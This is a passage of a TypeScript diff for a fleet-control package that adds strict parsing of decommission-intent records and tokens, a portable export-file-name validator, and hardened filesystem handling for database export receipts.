+    databaseId: candidate.databaseId,
+    databaseName: candidate.databaseName,
+    routeHostname: candidate.routeHostname,
+  };
+  if (
+    !boundedString(identity.tenantTag) ||
+    !boundedString(identity.environment) ||
+    (identity.backend !== 'plain-worker' &&
+      identity.backend !== 'workers-for-platforms') ||
+    !boundedString(identity.scriptName) ||
+    !boundedString(identity.databaseId) ||
+    !boundedString(identity.databaseName) ||
+    !boundedString(identity.routeHostname) ||
+    identity.tenantTag !== source.tenantTag ||
+    identity.environment !== source.environment ||
+    identity.backend !== source.backend ||
+    identity.scriptName !== source.scriptName ||
+    identity.databaseId !== source.databaseId ||
+    identity.databaseName !== source.databaseName ||
+    identity.routeHostname !== source.routeHostname
+  ) {
+    return malformed();
+  }
+  return identity as DecommissionRecordIdentity;
+}
+
+function parseLifecyclePhase(value: unknown): NormalDecommissionLifecyclePhase {
+  if (
+    typeof value !== 'string' ||
+    !LIFECYCLE_PHASES.has(value as NormalDecommissionLifecyclePhase)
+  ) {
+    return malformed();
+  }
+  return value as NormalDecommissionLifecyclePhase;
+}
+
+function reachesLifecyclePhase(
+  entry: NormalDecommissionLifecyclePhase,
+  current: NormalDecommissionLifecyclePhase,
+): boolean {
+  if (INITIAL_PHASES.has(entry)) {
+    return entry === current || TEARDOWN_PHASES.includes(current as never);
+  }
+  const entryIndex = TEARDOWN_PHASES.indexOf(entry as never);
+  const currentIndex = TEARDOWN_PHASES.indexOf(current as never);
+  return entryIndex >= 0 && currentIndex >= entryIndex;
+}
+
+function migrationCarrier(
+  source: FleetRecord,
+): Readonly<{ digest: string; present: boolean }> | undefined {
+  if (source.migrationIntent) {
+    if (
+      source.backend !== 'workers-for-platforms' ||
+      isPlatformCatalogRecord(source) ||
+      (source.pendingSpecDigest !== undefined &&
+        source.pendingSpecDigest !== source.migrationIntent.targetSpecDigest) ||
+      source.pendingArtifactVersion !== undefined
+    ) {
+      return undefined;
+    }
+    return { digest: source.migrationIntent.targetSpecDigest, present: true };
+  }
+  if (source.pendingSpecDigest !== undefined) {
+    if (
+      (source.backend !== 'plain-worker' && !isPlatformCatalogRecord(source)) ||
+      !sha256(source.pendingSpecDigest) ||
+      (source.pendingArtifactVersion !== undefined &&
+        (typeof source.pendingArtifactVersion !== 'string' ||
+          source.pendingArtifactVersion.length === 0 ||
+          source.pendingArtifactVersion === 'pending'))
+    ) {
+      return undefined;
+    }
+    return { digest: source.pendingSpecDigest, present: true };
+  }
+  if (source.pendingArtifactVersion !== undefined) return undefined;
+  return { digest: source.desiredSpecDigest, present: false };
+}
+
+/** @internal Maps exact switch progress to its coarse decommission lifecycle. */
+export function backendSwitchDecommissionLifecyclePhase(
+  subphase: BackendSwitchSubphase,
+  entryLifecycle: NormalDecommissionLifecyclePhase | 'decommissioned',
+): NormalDecommissionLifecyclePhase | 'decommissioned' {
+  if (subphase === 'decommissioned') return 'decommissioned';
+  if (subphase === 'decommission-traffic-authorized') return 'decommissioning';
+  if (
+    subphase === 'decommission-traffic-removed' ||
+    subphase === 'decommission-candidate-authorized' ||
+    subphase === 'decommission-candidate-removed' ||
+    subphase === 'decommission-bridge-authorized'
+  ) {
+    return 'traffic-removed';
+  }
+  if (subphase === 'decommission-bridge-removed') {
+    return 'platform-resources-deleted';
+  }
+  if (subphase === 'decommission-application-r2-authorized') {
+    return 'application-resources-deleting';
+  }
+  if (
+    subphase === 'decommission-application-r2-removed' ||
+    subphase === 'decommission-export-authorized'
+  ) {
+    return 'application-resources-deleted';
+  }
+  if (subphase === 'decommission-exported') return 'database-exported';
+  if (subphase === 'decommission-database-authorized') {
+    return 'database-deleting';
+  }
+  return entryLifecycle;
+}
+
+function applicationResourceProgressMatches(
+  source: FleetRecord,
+  intent: BackendSwitchIntent,
+): boolean {
+  const progress = intent.applicationR2Progress;
+  if (!progress) {
+    return (
+      BACKEND_SWITCH_SUBPHASES.indexOf(intent.subphase) <
+      BACKEND_SWITCH_SUBPHASES.indexOf('decommission-application-r2-authorized')
+    );
+  }
+  return (
+    JSON.stringify(source.applicationResources ?? []) ===
+    JSON.stringify(progress.map(applicationR2ResourceFromProgress))
+  );
+}
+
+function parseBackendSwitchMode(
+  mode: Record<string, unknown>,
+  source: FleetRecord,
+  lifecyclePhase: NormalDecommissionLifecyclePhase | 'decommissioned',
+  stored: DecommissionRecordIdentity,
+): DecommissionOperationIdentity {
+  exactKeys(mode, [
+    'kind',
+    'priorSpecDigest',
+    'targetSpecDigest',
+    'decommissionSnapshotSha256',
+    'backendSwitchSubphase',
+  ]);
+  const intent = source.backendSwitchIntent;
+  const current = intent?.subphase;
+  const entry = mode.backendSwitchSubphase;
+  if (
+    mode.kind !== 'backend-switch' ||
+    !intent ||
+    !intent.decommissionSnapshot ||
+    !intent.decommissionSnapshotSha256 ||
+    !intent.decommissionEntrySubphase ||
+    !sha256(mode.priorSpecDigest) ||
+    mode.priorSpecDigest !== intent.prior.specDigest ||
+    !sha256(mode.targetSpecDigest) ||
+    mode.targetSpecDigest !== intent.targetSpecDigest ||
+    !sha256(mode.decommissionSnapshotSha256) ||
+    mode.decommissionSnapshotSha256 !== intent.decommissionSnapshotSha256 ||
+    typeof entry !== 'string' ||
+    !BACKEND_SWITCH_SUBPHASES.includes(entry as BackendSwitchSubphase) ||
+    entry !== intent.decommissionEntrySubphase ||
+    !current ||
+    BACKEND_SWITCH_SUBPHASES.indexOf(current) <
+      BACKEND_SWITCH_SUBPHASES.indexOf(entry as BackendSwitchSubphase) ||
+    backendSwitchDecommissionLifecyclePhase(current, lifecyclePhase) !==
+      lifecyclePhase ||
+    !applicationResourceProgressMatches(source, intent)
+  ) {
+    return malformed();
+  }
+  return {
+    record: stored,
+    mode: {
+      kind: 'backend-switch',
+      priorSpecDigest: mode.priorSpecDigest,
+      targetSpecDigest: mode.targetSpecDigest,
+      decommissionSnapshotSha256: mode.decommissionSnapshotSha256,
+      backendSwitchSubphase: entry as BackendSwitchSubphase,
+    },
+  };
+}
+
+function parseIdentity(
+  value: unknown,
+  source: FleetRecord,
+  lifecyclePhase: NormalDecommissionLifecyclePhase | 'decommissioned',
+): DecommissionOperationIdentity {
+  const candidate = plainRecord(value);
+  exactKeys(candidate, ['record', 'mode']);
+  const stored = parseRecordIdentity(candidate.record, source);
+  const mode = plainRecord(candidate.mode);
+  if (mode.kind === 'backend-switch') {
+    return parseBackendSwitchMode(mode, source, lifecyclePhase, stored);
+  }
+  exactKeys(mode, ['kind', 'requestedSpecDigest', 'entryLifecyclePhase']);
+  if (
+    mode.kind !== 'normal' ||
+    !sha256(mode.requestedSpecDigest) ||
+    source.backendSwitchIntent !== undefined
+  ) {
+    return malformed();
+  }
+  const entry = parseLifecyclePhase(mode.entryLifecyclePhase);
+  const carrier = migrationCarrier(source);
+  if (
+    (lifecyclePhase !== 'decommissioned' &&
+      !reachesLifecyclePhase(entry, lifecyclePhase)) ||
+    !carrier ||
+    (entry === 'migrating' && mode.requestedSpecDigest !== carrier.digest) ||
+    (entry === 'migrating' &&
+      ((carrier.present && lifecyclePhase !== 'migrating') ||
+        (!carrier.present && lifecyclePhase === 'migrating'))) ||
+    (entry !== 'migrating' && carrier.present) ||
+    (entry !== 'migrating' &&
+      entry !== 'ready' &&
+      entry !== 'rolling-back' &&
+      mode.requestedSpecDigest !== source.desiredSpecDigest)
+  ) {
+    return malformed();
+  }
+  return {
+    record: stored,
+    mode: {
+      kind: 'normal',
+      requestedSpecDigest: mode.requestedSpecDigest,
+      entryLifecyclePhase: entry,
+    },
+  };
+}
+
+function parsePurpose(
+  value: unknown,
+  source: FleetRecord,
+  lifecyclePhase: NormalDecommissionLifecyclePhase,
+): Readonly<{
+  purpose: DecommissionAttachmentPurpose;
+  target: WorkerAttachmentScanTarget;
+}> {
+  const candidate = plainRecord(value);
+  if (candidate.kind === 'application-r2-detach') {
+    exactKeys(candidate, [
+      'kind',
+      'resourceIndex',
+      'name',
+      'bucketName',
+      'jurisdiction',
+      'reservationNonce',
+      'creationDate',
+    ]);
+    if (
+      lifecyclePhase !== 'application-resources-deleting' ||
+      !safeIntegerAtLeast(candidate.resourceIndex) ||
+      !boundedString(candidate.name) ||
+      !boundedString(candidate.bucketName) ||
+      (candidate.jurisdiction !== 'default' &&
+        candidate.jurisdiction !== 'eu' &&
+        candidate.jurisdiction !== 'fedramp') ||
+      !boundedString(candidate.reservationNonce) ||
+      !canonicalIso(candidate.creationDate)
+    ) {
+      return malformed();
+    }
+    const resource = source.applicationResources?.[candidate.resourceIndex];
+    if (
+      resource?.state !== 'detach-authorized' ||
+      resource.name !== candidate.name ||
+      resource.bucketName !== candidate.bucketName ||
+      resource.jurisdiction !== candidate.jurisdiction ||
+      resource.reservationNonce !== candidate.reservationNonce ||
+      resource.creationDate !== candidate.creationDate
+    ) {
+      return malformed();
+    }
+    return {
+      purpose: {
+        kind: 'application-r2-detach',
+        resourceIndex: candidate.resourceIndex,
+        name: candidate.name,
+        bucketName: candidate.bucketName,
+        jurisdiction: candidate.jurisdiction,
+        reservationNonce: candidate.reservationNonce,
+        creationDate: candidate.creationDate,
+      },
+      target: { kind: 'r2', bucketName: candidate.bucketName },
+    };
+  }
+  if (candidate.kind === 'database-pre-export') {
+    exactKeys(candidate, ['kind', 'databaseId']);
+    if (
+      lifecyclePhase !== 'application-resources-deleted' ||
+      !boundedString(candidate.databaseId) ||
+      candidate.databaseId !== source.databaseId
+    ) {
+      return malformed();
+    }
+    return {
+      purpose: {
+        kind: 'database-pre-export',
+        databaseId: candidate.databaseId,
+      },
+      target: { kind: 'd1', databaseId: candidate.databaseId },
+    };
+  }
+  if (candidate.kind === 'database-pre-delete') {
+    exactKeys(candidate, [
+      'kind',
+      'databaseId',
+      'exportLocation',
+      'exportSha256',
+      'exportSize',
+    ]);
+    if (
+      !['database-exported', 'database-deleting'].includes(lifecyclePhase) ||
+      !boundedString(candidate.databaseId) ||
+      candidate.databaseId !== source.databaseId ||
+      !boundedString(candidate.exportLocation) ||
+      candidate.exportLocation !== source.databaseExportLocation ||
+      !sha256(candidate.exportSha256) ||
+      candidate.exportSha256 !== source.databaseExportSha256 ||
+      !safeIntegerAtLeast(candidate.exportSize, 1) ||
+      candidate.exportSize !== source.databaseExportSize
+    ) {
+      return malformed();
+    }
+    return {
+      purpose: {
+        kind: 'database-pre-delete',
+        databaseId: candidate.databaseId,
+        exportLocation: candidate.exportLocation,
+        exportSha256: candidate.exportSha256,
+        exportSize: candidate.exportSize,
+      },
+      target: { kind: 'd1', databaseId: candidate.databaseId },
+    };
+  }
+  return malformed();
+}
+
+function parseAttachment(value: unknown): DecommissionBlockedAttachment {
+  const candidate = plainRecord(value);
+  if (candidate.plane === 'ordinary') {
+    exactKeys(candidate, ['plane', 'scriptName']);
+    if (!boundedString(candidate.scriptName)) return malformed();
+    return { plane: 'ordinary', scriptName: candidate.scriptName };
+  }
+  exactKeys(candidate, ['plane', 'scriptName', 'dispatchNamespace']);
+  if (
+    candidate.plane !== 'dispatch' ||
+    !boundedString(candidate.scriptName) ||
+    !boundedString(candidate.dispatchNamespace)
+  ) {
+    return malformed();
+  }
+  return {
+    plane: 'dispatch',
+    scriptName: candidate.scriptName,
+    dispatchNamespace: candidate.dispatchNamespace,
+  };
+}
+
+function parseIntentCommon(
+  candidate: Record<string, unknown>,
+  source: FleetRecord,
+  requiresReceiptAuthority: boolean,
+): DecommissionIntentCommon {
+  if (
+    candidate.version !== 1 ||
+    typeof candidate.operationId !== 'string' ||
+    !UUID_V4.test(candidate.operationId) ||
+    !safeIntegerAtLeast(candidate.revision) ||
+    !safeIntegerAtLeast(candidate.generation) ||
+    !canonicalIso(candidate.updatedAt)
+  ) {
+    return malformed();
+  }
+  const lifecyclePhase = parseLifecyclePhase(candidate.lifecyclePhase);
+  if (
+    [
+      'application-resources-deleted',
+      'database-exported',
+      'database-deleting',
+    ].includes(lifecyclePhase)
+  ) {
+    assertApplicationResourcesDeleted(source);
+  }
+  const databaseExportReceiptAuthority =
+    requiresReceiptAuthority &&
+    boundedString(candidate.databaseExportReceiptAuthority)
+      ? candidate.databaseExportReceiptAuthority
+      : undefined;
+  if (requiresReceiptAuthority && !databaseExportReceiptAuthority) {
+    return malformed();
+  }
+  return {
+    version: 1,
+    operationId: candidate.operationId,
+    revision: candidate.revision,
+    generation: candidate.generation,
+    updatedAt: candidate.updatedAt,
+    identity: parseIdentity(candidate.identity, source, lifecyclePhase),
+    ...(databaseExportReceiptAuthority
+      ? { databaseExportReceiptAuthority }
+      : {}),
+    lifecyclePhase,
+  };
+}
+
+function assertCompleteRecord(
+  source: FleetRecord,
+  mode: DecommissionOperationMode['kind'],
+): void {
+  const switchIntent = source.backendSwitchIntent;
+  if (
+    source.phase !== 'decommissioned' ||
+    (source.applicationResources ?? []).some(
+      (resource) => resource.state !== 'deleted',
+    ) ||
+    !boundedString(source.databaseExportLocation) ||
+    !sha256(source.databaseExportSha256) ||
+    !safeIntegerAtLeast(source.databaseExportSize, 1) ||
+    source.pendingSpecDigest !== undefined ||
+    source.pendingArtifactVersion !== undefined ||
+    source.pendingRelease !== undefined ||
+    source.migrationPriorRelease !== undefined ||
+    source.rollbackRelease !== undefined ||
+    source.retiringRelease !== undefined ||
+    source.migrationIntent !== undefined ||
+    (mode === 'normal' && switchIntent !== undefined) ||
+    (mode === 'backend-switch' &&
+      (switchIntent?.subphase !== RETIRED_BACKEND_SWITCH_SUBPHASE ||
+        !switchIntent.databaseExport ||
+        switchIntent.databaseExport.location !==
+          source.databaseExportLocation ||
+        switchIntent.databaseExport.sha256 !== source.databaseExportSha256 ||
+        switchIntent.databaseExport.size !== source.databaseExportSize ||
+        !applicationResourceProgressMatches(source, switchIntent) ||
+        (switchIntent.applicationR2Progress ?? []).some(
+          ({ subphase }) => subphase !== 'deleted',
+        )))
+  ) {
+    malformed();
+  }
+}
+
+/**
+ * Whether `source` carries the record a completed decommission leaves. The
+ * mode comes from the row's own `backendSwitchIntent`, so a backend-switch
+ * teardown is read against its switch evidence and an ordinary one against
+ * none.
+ */
+export function isCompleteTerminalRecord(source: FleetRecord): boolean {
+  try {
+    assertCompleteRecord(
+      source,
+      source.backendSwitchIntent === undefined ? 'normal' : 'backend-switch',
+    );
+    return true;
+  } catch (error) {
+    if (error instanceof DecommissionAdvanceIntentError) return false;
+    throw error;
+  }
+}
+
+export function decommissionAdvanceIntentFromUnknown(
+  value: unknown,
+  source: FleetRecord,
+): DecommissionAdvanceIntent {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: DEPTH_BOUND,
+      maxNodes: NODE_BOUND,
+      maxScalarBytes: DECOMMISSION_INTENT_BYTE_BOUND,
+      maxSerializedBytes: DECOMMISSION_INTENT_BYTE_BOUND,
+      error: () => new DecommissionAdvanceIntentError(),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    return malformed();
+  }
+  const candidate = plainRecord(plain);
+  if (candidate.state === 'complete') {
+    exactKeys(candidate, [
+      'version',
+      'operationId',
+      'revision',
+      'generation',
+      'updatedAt',
+      'identity',
+      'databaseExportReceiptAuthority',
+      'lifecyclePhase',
+      'state',
+    ]);
+    if (
+      candidate.version !== 1 ||
+      typeof candidate.operationId !== 'string' ||
+      !UUID_V4.test(candidate.operationId) ||
+      !safeIntegerAtLeast(candidate.revision) ||
+      !safeIntegerAtLeast(candidate.generation) ||
+      !canonicalIso(candidate.updatedAt) ||
+      !boundedString(candidate.databaseExportReceiptAuthority) ||
+      candidate.lifecyclePhase !== 'decommissioned'
+    ) {
+      return malformed();
+    }
+    const identity = parseIdentity(
+      candidate.identity,
+      source,
+      'decommissioned',
+    );
+    assertCompleteRecord(source, identity.mode.kind);
+    return {
+      version: 1,
+      operationId: candidate.operationId,
+      revision: candidate.revision,
+      generation: candidate.generation,
+      updatedAt: candidate.updatedAt,
+      identity,
+      databaseExportReceiptAuthority: candidate.databaseExportReceiptAuthority,
+      lifecyclePhase: 'decommissioned',
+      state: 'complete',
+    };
+  }
+  const state = candidate.state;
+  const stateKeys =
+    state === 'transitioning'
+      ? []
+      : state === 'discover'
+        ? ['purpose', 'progress']
+        : state === 'verify'
+          ? ['purpose', 'progress', 'discoverEvidence']
+          : state === 'blocked'
+            ? ['purpose', 'attachment']
+            : undefined;
+  if (!stateKeys) return malformed();
+  const rawPurpose =
+    state === 'transitioning' ? undefined : plainRecord(candidate.purpose);
+  const requiresReceiptAuthority =
+    candidate.lifecyclePhase === 'database-exported' ||
+    candidate.lifecyclePhase === 'database-deleting' ||
+    rawPurpose?.kind === 'database-pre-export' ||
+    rawPurpose?.kind === 'database-pre-delete';
+  exactKeys(candidate, [
+    'version',
+    'operationId',
+    'revision',
+    'generation',
+    'updatedAt',
+    'identity',
+    ...(requiresReceiptAuthority ? ['databaseExportReceiptAuthority'] : []),
+    'lifecyclePhase',
+    'state',
+    ...stateKeys,
+  ]);
+  if (source.phase !== 'decommission-advancing') return malformed();
+  const parsedCommon = parseIntentCommon(
+    candidate,
+    source,
+    requiresReceiptAuthority,
+  );
+  if (state === 'transitioning') {
+    return { ...parsedCommon, state };
+  }
+  const { purpose, target } = parsePurpose(
+    candidate.purpose,
+    source,
+    parsedCommon.lifecyclePhase,
+  );
+  if (state === 'blocked') {
+    return {
+      ...parsedCommon,
+      state,
+      purpose,
+      attachment: parseAttachment(candidate.attachment),
+    };
+  }
+  let progress: DecommissionAttachmentProgress;
+  try {
+    progress = parseWorkerAttachmentScanProgress(candidate.progress, target);
+  } catch {
+    return malformed();
+  }
+  if (state === 'discover') {
+    return {
+      ...parsedCommon,
+      state,
+      purpose,
+      progress,
+    };
+  }
+  const evidence = plainRecord(candidate.discoverEvidence);
+  exactKeys(evidence, ['evidenceSha256', 'evidenceCount']);
+  if (
+    !sha256(evidence.evidenceSha256) ||
+    !safeIntegerAtLeast(evidence.evidenceCount, 2) ||
+    evidence.evidenceCount > WORKER_ATTACHMENT_EVIDENCE_BOUND
+  ) {
+    return malformed();
+  }
+  return {
+    ...parsedCommon,
+    state: 'verify',
+    purpose,
+    progress,
+    discoverEvidence: {
+      evidenceSha256: evidence.evidenceSha256,
+      evidenceCount: evidence.evidenceCount,
+    },
+  };
+}
+
+export function normalizeDecommissionAdvanceIntent(
+  value: DecommissionAdvanceIntent,
+  source: FleetRecord,
+): DecommissionAdvanceIntent {
+  return decommissionAdvanceIntentFromUnknown(value, source);
+}
+
+export function parseDecommissionAdvanceToken(
+  value: unknown,
+): DecommissionAdvanceToken {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: 4,
+      maxNodes: 16,
+      maxScalarBytes: TOKEN_BYTE_BOUND,
+      maxSerializedBytes: TOKEN_BYTE_BOUND,
+      error: () => new DecommissionAdvanceTokenError(),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    throw new DecommissionAdvanceTokenError();
+  }
+  let candidate: Record<string, unknown>;
+  try {
+    candidate = plainRecord(plain);
+    exactKeys(candidate, [
+      'version',
+      'tenantTag',
+      'environment',
+      'operationId',
+      'revision',
+    ]);
+  } catch {
+    throw new DecommissionAdvanceTokenError();
+  }
+  if (
+    candidate.version !== 1 ||
+    !boundedString(candidate.tenantTag) ||
+    !boundedString(candidate.environment) ||
+    typeof candidate.operationId !== 'string' ||
+    !UUID_V4.test(candidate.operationId) ||
+    !safeIntegerAtLeast(candidate.revision)
+  ) {
+    throw new DecommissionAdvanceTokenError();
+  }
+  return {
+    version: 1,
+    tenantTag: candidate.tenantTag,
+    environment: candidate.environment,
+    operationId: candidate.operationId,
+    revision: candidate.revision,
+  };
+}
+
+export function classifyDecommissionAdvanceToken(
+  value: unknown,
+  source: FleetRecord,
+): DecommissionAdvanceTokenClassification {
+  const token = parseDecommissionAdvanceToken(value);
+  if (
+    token.tenantTag !== source.tenantTag ||
+    token.environment !== source.environment
+  ) {
+    throw new DecommissionAdvanceTokenDeploymentError();
+  }
+  const intent = source.decommissionIntent;
+  if (!intent || token.operationId !== intent.operationId) {
+    throw new DecommissionAdvanceTokenOperationError();
+  }
+  if (token.revision > intent.revision) {
+    throw new DecommissionAdvanceTokenFutureError();
+  }
+  return token.revision === intent.revision ? 'current' : 'stale';
+}
diff --git a/packages/fleet-control/src/export-file-name.ts b/packages/fleet-control/src/export-file-name.ts
new file mode 100644
index 00000000..85e68fc0
--- /dev/null
+++ b/packages/fleet-control/src/export-file-name.ts
@@ -0,0 +1,18 @@
+// SPDX-License-Identifier: Apache-2.0
+
+const FILE_NAME_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
+const WINDOWS_DEVICE_NAME = /^(CON|PRN|AUX|NUL|COM[1-9]|LPT[1-9])(?:\.|$)/i;
+
+export function isPortablePathSegment(value: string): boolean {
+  return (
+    FILE_NAME_PATTERN.test(value) &&
+    !value.endsWith('.') &&
+    !WINDOWS_DEVICE_NAME.test(value)
+  );
+}
+
+export function assertFileName(fileName: string): void {
+  if (!isPortablePathSegment(fileName)) {
+    throw new Error('export fileName must be one portable path segment');
+  }
+}
diff --git a/packages/fleet-control/src/export-store.ts b/packages/fleet-control/src/export-store.ts
index b73c4b27..a2df5772 100644
--- a/packages/fleet-control/src/export-store.ts
+++ b/packages/fleet-control/src/export-store.ts
@@ -1,24 +1,961 @@
 // SPDX-License-Identifier: Apache-2.0
 
 import { createHash, randomUUID } from 'node:crypto';
-import { mkdir, open, realpath, rename, rm } from 'node:fs/promises';
+import { type BigIntStats, constants as fsConstants } from 'node:fs';
+import {
+  link,
+  mkdir,
+  open,
+  readdir,
+  realpath,
+  rename,
+  rm,
+  unlink,
+} from 'node:fs/promises';
 import { dirname, join, resolve } from 'node:path';
 import { pathToFileURL } from 'node:url';
-import type { DurableDatabaseExportStore } from './cloudflare-client.js';
+import {
+  cancelBodyWithoutAwait,
+  captureDatabaseExportIntegrityPromise,
+  type DurableDatabaseExportStore,
+  databaseExportReceiptAuthorityFromUnknown,
+  databaseExportReceiptError,
+  databaseExportReceiptIdentityFromUnknown,
+} from './database-export-store.js';
+import { assertFileName } from './export-file-name.js';
+import type { DatabaseExportIntegrity } from './types.js';
 
-const FILE_NAME_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
-const WINDOWS_DEVICE_NAME = /^(CON|PRN|AUX|NUL|COM[1-9]|LPT[1-9])(?:\.|$)/i;
+type FileHandle = Awaited<ReturnType<typeof open>>;
 
-function assertFileName(fileName: string): void {
-  if (
-    !FILE_NAME_PATTERN.test(fileName) ||
-    fileName.endsWith('.') ||
-    WINDOWS_DEVICE_NAME.test(fileName)
-  ) {
-    throw new Error('export fileName must be one portable path segment');
+const DIRECTORY_MODE = 0o700n;
+const FILE_MODE = 0o600n;
+const PERMISSION_MODE = 0o7777n;
+const MAX_SAFE_SIZE = BigInt(Number.MAX_SAFE_INTEGER);
+const RECEIPT_TEMP_PATTERN =
+  /^\.receipt-[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}\.tmp$/u;
+const RECEIPT_TEMP_UUID =
+  /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/u;
+const READABLE_STREAM_GET_READER = ReadableStream.prototype.getReader;
+const READER_CANCEL = ReadableStreamDefaultReader.prototype.cancel;
+const READER_READ = ReadableStreamDefaultReader.prototype.read;
+const READER_RELEASE_LOCK = ReadableStreamDefaultReader.prototype.releaseLock;
+const PROMISE_THEN = Promise.prototype.then;
+
+interface ReceiptOpenFlags {
+  readonly O_DIRECTORY: unknown;
+  readonly O_NOFOLLOW: unknown;
+  readonly O_NONBLOCK: unknown;
+  readonly O_RDONLY: unknown;
+}
+
+export interface FileSystemDatabaseExportStoreReceiptPrimitives {
+  readonly platform: string;
+  readonly flags: ReceiptOpenFlags;
+  readonly randomUUID: () => string;
+  readonly open: typeof open;
+  readonly mkdir: typeof mkdir;
+  readonly realpath: typeof realpath;
+  readonly link: typeof link;
+  readonly unlink: typeof unlink;
+  readonly readdir: (path: string) => Promise<string[]>;
+  readonly stat: (handle: FileHandle) => Promise<BigIntStats>;
+  readonly chmod: (handle: FileHandle, mode: number) => Promise<void>;
+  readonly sync: (handle: FileHandle) => Promise<void>;
+  readonly close: (handle: FileHandle) => Promise<void>;
+  readonly read: (
+    handle: FileHandle,
+    buffer: Uint8Array,
+    offset: number,
+    length: number,
+    position: number | null,
+  ) => Promise<{ bytesRead: number }>;
+  readonly write: (
+    handle: FileHandle,
+    buffer: Uint8Array,
+    offset: number,
+    length: number,
+  ) => Promise<{ bytesWritten: number }>;
+}
+
+export interface FileSystemDatabaseExportStoreReceiptPrimitiveOverrides
+  extends Partial<
+    Omit<FileSystemDatabaseExportStoreReceiptPrimitives, 'flags'>
+  > {
+  readonly flags?: Partial<ReceiptOpenFlags>;
+}
+
+const defaultReceiptPrimitives: FileSystemDatabaseExportStoreReceiptPrimitives =
+  {
+    platform: process.platform,
+    flags: {
+      O_DIRECTORY: fsConstants.O_DIRECTORY,
+      O_NOFOLLOW: fsConstants.O_NOFOLLOW,
+      O_NONBLOCK: fsConstants.O_NONBLOCK,
+      O_RDONLY: fsConstants.O_RDONLY,
+    },
+    randomUUID,
+    open,
+    mkdir,
+    realpath,
+    link,
+    unlink,
+    readdir: (path) => readdir(path),
+    stat: (handle) => handle.stat({ bigint: true }),
+    chmod: (handle, mode) => handle.chmod(mode),
+    sync: (handle) => handle.sync(),
+    close: (handle) => handle.close(),
+    read: (handle, buffer, offset, length, position) =>
+      handle.read(buffer, offset, length, position),
+    write: (handle, buffer, offset, length) =>
+      handle.write(buffer, offset, length),
+  };
+
+type Settlement<T> =
+  | Readonly<{ status: 'fulfilled'; value: T }>
+  | Readonly<{ status: 'rejected'; reason: unknown }>;
+
+interface OpenReceiptDirectories {
+  readonly directory: string;
+  readonly handle: FileHandle;
+  readonly handles: readonly FileHandle[];
+}
+
+interface ReceiptFileState {
+  readonly location: string;
+  readonly size: number;
+  readonly sha256: string;
+}
+
+type ReceiptTargetInspection =
+  | Readonly<{ status: 'absent' }>
+  | Readonly<{ status: 'present'; receipt: ReceiptFileState }>;
+
+function receiptPrimitives(
+  overrides: FileSystemDatabaseExportStoreReceiptPrimitiveOverrides = {},
+): FileSystemDatabaseExportStoreReceiptPrimitives {
+  return {
+    ...defaultReceiptPrimitives,
+    ...overrides,
+    flags: {
+      ...defaultReceiptPrimitives.flags,
+      ...overrides.flags,
+    },
+  };
+}
+
+function supportsFileSystemReceipts(
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives,
+): primitives is FileSystemDatabaseExportStoreReceiptPrimitives & {
+  readonly flags: {
+    readonly O_DIRECTORY: number;
+    readonly O_NOFOLLOW: number;
+    readonly O_NONBLOCK: number;
+    readonly O_RDONLY: number;
+  };
+} {
+  const flags = [
+    primitives.flags.O_DIRECTORY,
+    primitives.flags.O_NOFOLLOW,
+    primitives.flags.O_NONBLOCK,
+    primitives.flags.O_RDONLY,
+  ];
+  return (
+    primitives.platform !== 'win32' &&
+    flags.every(
+      (flag) =>
+        typeof flag === 'number' &&
+        Number.isInteger(flag) &&
+        flag >= 0 &&
+        flag <= 0x7fff_ffff,
+    )
+  );
+}
+
+async function settled<T>(
+  operation: () => T | PromiseLike<T>,
+): Promise<Settlement<Awaited<T>>> {
+  try {
+    return { status: 'fulfilled', value: await operation() };
+  } catch (reason) {
+    return { status: 'rejected', reason };
+  }
+}
+
+function errorHasCode(error: unknown, code: string): boolean {
+  try {
+    return (
+      typeof error === 'object' &&
+      error !== null &&
+      Reflect.get(error, 'code') === code
+    );
+  } catch {
+    return false;
+  }
+}
+
+function directoryOpenFlags(
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives & {
+    readonly flags: Record<keyof ReceiptOpenFlags, number>;
+  },
+): number {
+  return (
+    primitives.flags.O_RDONLY |
+    primitives.flags.O_DIRECTORY |
+    primitives.flags.O_NOFOLLOW
+  );
+}
+
+function fileOpenFlags(
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives & {
+    readonly flags: Record<keyof ReceiptOpenFlags, number>;
+  },
+): number {
+  return (
+    primitives.flags.O_RDONLY |
+    primitives.flags.O_NOFOLLOW |
+    primitives.flags.O_NONBLOCK
+  );
+}
+
+function isExactDirectory(statistics: BigIntStats): boolean {
+  return (
+    statistics.isDirectory() &&
+    (statistics.mode & PERMISSION_MODE) === DIRECTORY_MODE
+  );
+}
+
+function isExactReceiptFile(
+  statistics: BigIntStats,
+  expectedLinks: 1n | 2n,
+): boolean {
+  return (
+    statistics.isFile() &&
+    (statistics.mode & PERMISSION_MODE) === FILE_MODE &&
+    statistics.nlink === expectedLinks
+  );
+}
+
+async function closeAll(
+  handles: readonly FileHandle[],
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives,
+): Promise<void> {
+  const errors: unknown[] = [];
+  for (const handle of [...handles].reverse()) {
+    const state = await settled(() => primitives.close(handle));
+    if (state.status === 'rejected') errors.push(state.reason);
+  }
+  if (errors.length === 1) throw errors[0];
+  if (errors.length > 1) {
+    throw new AggregateError(
+      errors,
+      'database export receipt directory-handle cleanup failed',
+    );
+  }
+}
+
+async function openReceiptDirectories(
+  root: string,
+  databaseId: string,
+  primitives: FileSystemDatabaseExportStoreReceiptPrimitives & {
+    readonly flags: Record<keyof ReceiptOpenFlags, number>;
+  },
+): Promise<OpenReceiptDirectories> {
+  const canonicalRoot = await primitives.realpath(root);
+  if (canonicalRoot !== root) {
+    throw new Error(
+      'database export receipt root must be an existing trusted directory',
+    );
+  }
+  const handles: FileHandle[] = [];
+  try {
+    const rootHandle = await primitives.open(
+      root,
